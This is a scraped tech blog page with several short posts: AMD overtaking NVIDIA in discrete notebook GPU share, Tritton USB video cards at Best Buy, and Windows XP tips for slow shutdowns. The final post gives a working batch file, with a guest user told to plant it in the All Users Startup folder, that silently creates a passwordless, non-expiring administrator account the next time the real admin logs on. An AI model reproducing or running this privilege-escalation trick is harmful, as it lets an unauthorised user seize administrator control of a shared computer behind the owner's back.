AMD snags Discrete Notebook GPU Market Lead from NVIDIA

One of the watermarks for the notebook industry is how many GPUs are sold in a given quarter. All notebooks sold today sport either integrated GPUs or discrete GPUs to handle graphics, gaming, and movie playback. Typically, the discrete GPU market in notebooks is mostly in NVIDIA’s court, AMD has changed that.

AMD has announced that it has swiped the market share lead for discrete notebook GPUs right out from under NVIDIA with a massive increase in quarterly sales. Numbers published by Jon Peddie Research show that ATI grew its market share in the discrete segment for notebooks by a whopping 36.5%.

AMD also increased its quarter-over-quarter discrete notebook GPU sales by 87.27% through the first six months of 2009. AMD is now sitting pretty in the top spot of the mobile GPU market with 53% market share. I am sure NVIDIA is working on grabbing that market share back as we speak. It’s nice to see ATI do well for a change.

Tritton external USB video cards offered at Best Buy

One of the big problems with adding more displays to some computers is that many desktop computers and all notebooks only have one video output. That means that the desktop user would often need another video card. Not so long ago that meant cracking open the computer and installing a new internal video card.

Thankfully, notebook and desktop users can now get more displays on their computers via a USB video card. Tritton has announced that it is now selling its external USB video cards via BestBuy.com and in Best Buy retail outlets. That means you can walk in, pick up your own external video card solution, and add more displays to your computer by simply plugging in a USB device. The Tritton See2 UV150 is a VGA device with a resolution of up to 1600 x 1200 selling for $49.99. The See2 Xtreme is a DVI device supporting resolutions of up to 1920 x 1200 selling for $79.99.

What To Do If Your PC Is Taking Much Time To Shutdown?

Does your system take a lot of time to shutdown? If yes, follow the tips listed below to speed up system shutdowns.

Close All Running Programs

When you give the command to shutdown Windows, the shutdown process first closes down all applications and processes running on it and then shuts down itself. Therefore, if your system is slow in shutting down, it is recommended that you first close all programs running on the computer and displayed in the system tray and then give the shutdown command.

Resolve Problems Related to Buggy and Outdated Drivers

Buggy and outdated device drivers may also cause problems during system shutdown. To see if there are problems with device drivers on your computer, do the following:

1. Open the Start menu, select Control Panel, and then select System.
2. On the Hardware tab, click Device Manager.
3. In the Device Manager window, look for the following items:
* Items that are marked with red exclamation marks: This implies that the device is not working.
* Items that are marked with yellow question marks: This indicates that Windows is using a generic driver for the device instead of the device-specific driver.

Quite often, you can resolve the problem by updatingthe driver files. To do this, in the Device Manager window, right-click on the device entry for which you need to update the driver, and then select Update Driver. Next, follow the wizard to upgrade the driver for your device.

Note: You may need to download the updated driver files from the device manufacturer’s web site on your computer before running the wizard.

Terminate Terminal Services

If terminal services such as remote desktop, remote assistance, and fast user switching or any other terminal services that you do not require are enabled on your computer, they may unnecessarily slow down the shutdown process. To prevent these slowdowns, you may disable the Terminal Server service. To do this, at Start > Run, type services.msc and then press Enter. Browse down and double-click on Terminal Services in the Services window, click stop and then change Startup type to Disabled.

Reduce Shutdown Wait Time

When you give the shutdown command, the shutdown process gives some wait time to all programs currently running on the system to shutdown normally. To speed up the shutdown process, you may reduce this wait time. To do this, perform the following steps:

Open Start menu, select Run, type regeditand then press Enter. In the Registry Editor window, navigate to the following registry key:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

In the right-pane double-click WaitToKillServiceTimeout. In the Value data field, change the default value of 2000 meaning 2 seconds of wait time to something lower, say 1000 or 1 second. After you are done, click OK to implement your changes, exit the Registry Windows and then restart your computer.

Warning: The registry is a critical component of your Windows computer. Therefore, before making any direct edits to it, you must make a backup. You can make a registry backup either by using the Export option in Registry Editor or by using the backup and restore feature of a reliable registry cleaner tool.

Hibernate Your PC

Unless something goes wrong with your PC, there is no need to shutdown your XP computer for weeks. So, instead of completely shutting down the system, you can opt to put it to sleep by hibernating it. When you choose to hibernate your PC, all information in the RAM of your computer is written to the disk and the computer is turned down. From a hardware point both shutdown and hibernate processes are identical, but the benefit of hibernating is that it enables much faster system shutdown and startups. What’s more, when your PC comes up from hibernation it displays all the Windows you were working on before you hibernated the system, saving you more time in opening them again.

In addition to these tasks, you may perform a certain amount of preventive maintenance of your system to keep it free from unwanted junk data. Some of the important tools that can help you maintain a healthy PC are registry cleaner, antivirus, antispyware, Disk Cleanup, and Disk Defragmenter.

Using Guest Account Create An Admin Account

Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)

@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin

Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.

Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.
